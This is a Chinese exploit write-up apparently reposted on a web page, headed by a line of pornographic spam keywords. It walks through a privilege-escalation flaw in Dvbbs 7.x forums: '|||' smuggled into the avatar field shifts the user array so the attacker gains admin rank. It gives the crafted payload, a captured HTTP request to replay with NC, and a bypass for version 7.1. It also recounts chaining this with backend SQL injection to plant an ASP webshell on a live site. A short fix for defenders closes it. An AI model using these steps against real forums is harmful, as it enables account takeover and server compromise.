欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

動網(wǎng)7.x權(quán)限提升漏洞原理

 更新時間:2007年01月16日 00:00:00   作者:  
在6月份的黑防上看到《動網(wǎng)7.1漏洞驚現(xiàn)江湖》一文,說是admin_postings.asp文件存在注入漏洞,但利用的前提是擁有超級版主或前臺管理員權(quán)限。我想起以前發(fā)現(xiàn)的動網(wǎng)7.x版本存在一個前臺權(quán)限提升漏洞, 正好可以結(jié)合起來利用。這個前臺權(quán)限提升漏洞對7.x的Access和 SQL版都有效。下面我們就以7.0 SP2 SQL版,講解這個漏洞的利用。
漏洞分析:
我們知道動網(wǎng)是通過GroupID來判斷當(dāng)前用戶所在的組的,然后再通過組的信息判斷用戶的權(quán)限。它是如何取得這個GroupID的呢?讓我們看看登錄驗證的那一段:login.asp的525行左右:
Rem ==========論壇登錄函數(shù)=========
Rem 判斷用戶登錄
Function ChkUserLogin(username,password,mobile,userCookies,ctype)
…………前面的代碼省略
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace
,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,
userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,
UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday "
SQL=SQL+" From [Dv_User] Where "&SQLstr&""
set rsUser=DVBBS.Execute(SQL)
If rsUser.eof and rsUser.bof Then
ChkUserLogin=false
Exit Function
Else
iMyUserInfo=rsUser.GetString(,1, "|||", "", "")
rsUser.Close:Set rsUser = Nothing
End If
iMyUserInfo = "DVBBS|||"& Now & "|||" & Now &"|||"& DVBBS.BoardID &"|||"&
iMyUserInfo &"||||||DVBBS"
iMyUserInfo = Split(iMyUserInfo,"|||")
If trim(password)<>trim(iMyUserInfo(6)) Then
ChkUserLogin=false
ElseIf iMyUserInfo(17)=1 Then
ChkUserLogin=false
ElseIf iMyUserInfo(19)=5 Then
ChkUserLogin=false
Else
ChkUserLogin=True
Session(DVBBS.CacheName & "UserID") = iMyUserInfo
DVBBS.UserID = iMyUserInfo(4)
RegName = iMyUserInfo(5)
Article = iMyUserInfo(8)
UserLastLogin = iMyUserInfo(15)
UserClass = iMyUserInfo(18) 
GroupID = iMyUserInfo(19)
TitlePic = iMyUserInfo(34)
If Article<0 Then Article=0
End If
…………后面的代碼省略
可以看到,動網(wǎng)將用戶的信息先用“|||”三個豎線連起來,做為一個字符串傳給iMyUserInfo,然后iMyUserInfo由“|||”分隔成一個字符串?dāng)?shù)組。用戶密碼驗證正確后就把數(shù)組的第20個元素的值:iMyUserInfo(19)賦給GroupID??吹?jīng)],GroupID只是數(shù)組對應(yīng)的第20個元素的值,如果iMyUserInfo(19)的值為1的話,動網(wǎng)就以為現(xiàn)在登錄的用戶是前臺管理員了。
在inc目錄下的Dv_ClsMain.asp文件中也有這么驗證用戶身份的一段代碼,用來在用戶更新信息后檢測用戶的權(quán)限。
Dv_ClsMain.asp的650行左右
Public Sub TrueCheckUserLogin()
……前面的省略
Dim Rs,SQL
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,
UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,
UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,
UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"
SQL=SQL+" From [Dv_User] Where UserID = " & UserID
Set Rs = Execute(SQL)
If Rs.Eof And Rs.Bof Then
Rs.Close:Set Rs = Nothing
UserID = 0
EmptyCookies
LetGuestSession()
Else
MyUserInfo=Rs.GetString(,1, "|||","","")
Rs.Close:Set Rs = Nothing
If IsArray(Session(CacheName & "UserID")) Then
MyUserInfo = "DVBBS|||"& Now & "|||" & Session(CacheName & "UserID")(2) &"|||"& BoardID &"|||"& MyUserInfo &"||||||DVBBS"
Else
MyUserInfo = "DVBBS|||"& Now & "|||" & DateAdd("s",-3600,Now()) &"|||"& BoardID &"|||"& MyUserInfo &"||||||DVBBS"
End IF
Response.Write MyUserInfo
MyUserInfo = Split(MyUserInfo,"|||")
…… 
End If
End Sub
’用戶登錄成功后,采用本函數(shù)讀取用戶數(shù)組并判斷一些常用信息
Public Sub GetCacheUserInfo()
MyUserInfo = Session(CacheName & "UserID")
UserID = Clng(MyUserInfo(4))
MemberName = MyUserInfo(5)
Lastlogin = MyUserInfo(15)
If Not IsDate(LastLogin) Then LastLogin = Now()
UserGroupID = Cint(MyUserInfo(19))
    ……后面代碼省略
兩處檢驗的方式一模一樣,所以我們可以利用這兩個中的任意一個來達到我們的目的??此腟QL語句部分:
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"
SQL=SQL+" From [Dv_User] Where UserID = " & UserID

UserGroupID字段排在第16個,只要我們前面的一個字段的數(shù)據(jù)中含有“|||”,那么UserGroupID在MyUserInfo這個字符串?dāng)?shù)組的位置就改變了。對這個字段選取有些特殊的要求,字段類型要合適,不能為數(shù)字型,字段的長度要可以容納下我們構(gòu)造的數(shù)組,并且還得是上面SQL語句中排在UserGroupID前面的字段,這樣才能使構(gòu)造的數(shù)組改變原來數(shù)組中UserGroupID的位置。如圖1所示。
我們能利用的就只有UserEmail、UserFace這兩個字段了。由于IsValidEmail函數(shù)的存在,我們沒法在UserEmail字段中插入‘|',所以能利用的就只有UserFace字段了。
在基本資料修改時,動網(wǎng)只過濾了SQL注入用的幾個符號,沒有過濾掉‘|',所以只要我們構(gòu)造出正確的字符串,就可以騙過動網(wǎng),成為管理員組的用戶了。
  face=Dv_FilterJS(replace(face,"’",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
漏洞的利用:
如何構(gòu)造這個UserFace來達到我們的目的呢?最開始我以為只要iMyUserInfo(19)為1就可以是管理員了,但一直沒有成功。其實我們在構(gòu)造這個UserFace時還要考慮到一點,我們已經(jīng)改變了iMyUserInfo數(shù)組的結(jié)構(gòu),我們必須保證新的iMyUserInfo數(shù)組的前面一部分的結(jié)構(gòu)和原數(shù)組結(jié)構(gòu)一模一樣,否則就會出現(xiàn)類型轉(zhuǎn)換錯誤,比如UserBirthday,在新的數(shù)組中該字段位置的值必須為一個日期。我們可以直接拿一個正常的iMyUserInfo的后半部分做我們的UserFace值,然后將UserGroupID位置改為一。我修改了login.asp文件,讓它在用戶登錄時顯示當(dāng)前用戶的iMyUserInfo的內(nèi)容,如圖2所示。
例如admin(不一定非得是admin的,其他用戶的也行,只要UserGroupID處改為1就行了)登錄時的iMyUserInfo的值為:
DVBBS|||2005-6-1918:05:34|||2005-6-19 18:05:34|||0|||1|||admin|||469e80d32c0559f8|||
eway@aspsky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-1918:04:06|||25|||0|||管理員|||1||||||120|||115|||28|||0||||||210.41.235.200
|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||DVBBS
我們可以取
images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-19 18:04:06|||25|||0|||管理員|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||DVBBS

做我們的UserFace值,要注意這個值的長度不能超過255個字符。動網(wǎng)限制了我們提交的字符為100個,我們可以用NC來提交。
先在本機測試一下,用普通用戶登錄動網(wǎng),現(xiàn)在用戶等級還是新手上路。
好了,我們?nèi)バ薷幕拘畔⒌牡胤健?
提交,用WSE抓下這個包
截取到的包如下:
POST /bs/mymodify.asp?action=updat&username=4 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://210.41.235.199/bs/mymodify.asp Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)
Host: 210.41.235.199 Content-Length: 396 Connection: Keep-Alive Cache-Control: no-cache Cookie: 210%2E41%2E235%2E199%2Fbs%2F=userCookies=0&StatUserID=21048347059&password=fVIy4l887ZvD956c&userhidden=&username=test&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&userid=4; upNum=0; ASPSESSIONIDASCDABTA=IEGHDLKCCHDMOBPFPFFHMNAM
title=&sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=Images%2Fuserface%2Fimage1.gif&width=32&height=32&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&userCookies=0&setuserinfo=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0%C2
好,我們把userface的值給替換成
images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理員|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||
9pc722664t5w7IM7|||0|0|0 ||||||DVBBS
要注意中間的空格替換成%20,重新計算Content-Length的值,然后用NC提交一次,我們這個用戶的userface就替換過來了。我們現(xiàn)在再重新登錄看看。
哈哈,看到了嗎?我們已經(jīng)是管理員了。再利用黑防第六期《動網(wǎng)7.1漏洞驚現(xiàn)江湖》一文中的漏洞就可以添加后臺管理員了。
動網(wǎng)7.1利用方法:
動網(wǎng)的7.1版利用這個漏洞的方法有點小變化,難度也比7.0 SP2要大。7.1版中加入了對face變量中的'|'符號的過濾
mymodify.asp文件中的270行附近:
face=Dv_FilterJS(Replace(face,"’",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
face=Replace(face,"|","")
可惜的是動網(wǎng)的程序員百密而一疏,忘了注冊時也可以修改頭像,在reg.asp中就沒有對face變量做任何的過濾。Reg.asp文件的285行附近。
If Request.form("face")<>"" Then
face=Request.form("face")
End If
同樣,還是先抓包后用NC提交。注冊登錄后就是前臺管理員了。但還要一個問題,就是Truepassword問題。7.1中加強了對Cookie欺騙的防范,所以這個truepassword變化的太頻繁了。在7.0SP2的newpass.asp中,只有一個更新當(dāng)前用戶turepassword的指令:
7.0 SP2的newpass.asp文件
處理 SSI 文件時出錯

處理 SSI 文件時出錯

<%
DVBBS.NewPassword0()
%>
而在7.1中,newpass.asp還會檢查用戶的Cookies是否更新。7.1newpass.asp文件的30行左右
’檢查寫入是否成功如果成功則更新數(shù)據(jù)
If DVBBS.checkStr(Trim(Request.Cookies(DVBBS.Forum_sn)("password")))=TruePassWord Then
DVBBS.Execute("UpDate [Dv_user] Set TruePassWord=’"&TruePassWord&"’ where UserID="&DVBBS.UserID)
DVBBS.MemberWord = TruePassWord
Dim iUserInfo
iUserInfo = Session(DVBBS.CacheName & "UserID")
iUserInfo(35) = TruePassWord
Session(DVBBS.CacheName & "UserID") = iUserInfo
End If
在7.1中,我們的客戶端的Cookies中的truepassword被更新成新的truepassword,由于服務(wù)器端的truepassword也是從MyUserInfo中得來的,而MyUserInfo中的truepassword值是不會改變的,在檢測時就會形成一個死循環(huán)。我們的解決的辦法是用Cookies鎖定,用桂林老兵的瀏覽器鎖定我們的Cookies,之前得將Cookies中的truepassword值設(shè)成和MyUserInfo中的truepassword值一致。這樣就不會重復(fù)請求newpass.asp進入死循環(huán)了。
由于手頭上沒有7.1的SQL版的代碼,所以上面是在7.1的Access版下測試的,可以成功的成為前臺的管理員。
后記:
漏洞的防范方法:改數(shù)據(jù)庫結(jié)構(gòu)的工程大了點,建議在reg.asp和mymodify.asp中加入對相應(yīng)變量的”|”符號進行過濾,比如:
face=Dv_FilterJS(Replace(face,"’",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
face=Replace(face,"|","")
還想提一點,動網(wǎng)太信任后臺的管理員了,所以在后臺的很多地方都沒有對SQL注入進行防范,這就形如給我們開了一個SQL注入之門。我們曾經(jīng)檢測的一個網(wǎng)站,設(shè)置的非常BT。上面用的就是DVBBS的論壇。當(dāng)我們?nèi)〉昧薉VBBS的后臺管理員權(quán)限時才發(fā)現(xiàn)上傳目錄沒有執(zhí)行權(quán)限,asp木馬傳上去了又原樣返回。而由執(zhí)行asp權(quán)限的目錄又沒有寫入的權(quán)限。網(wǎng)站上又沒有其他的站點可以注入。后來發(fā)現(xiàn)DVBBS后臺有注入后才總算得到一匹小馬。真是千里之堤,潰于蟻穴啊。
哆嗦一句,這個權(quán)限提升漏洞沒有太高深的技巧,但后果是非常嚴(yán)重的。由于前臺管理的多個頁面存在SQL注入,所以這個漏洞對DVBBS 7.x SQL版的危害非常大。請不要用本文的方法做破壞行為,否則后果自負。

相關(guān)文章

最新評論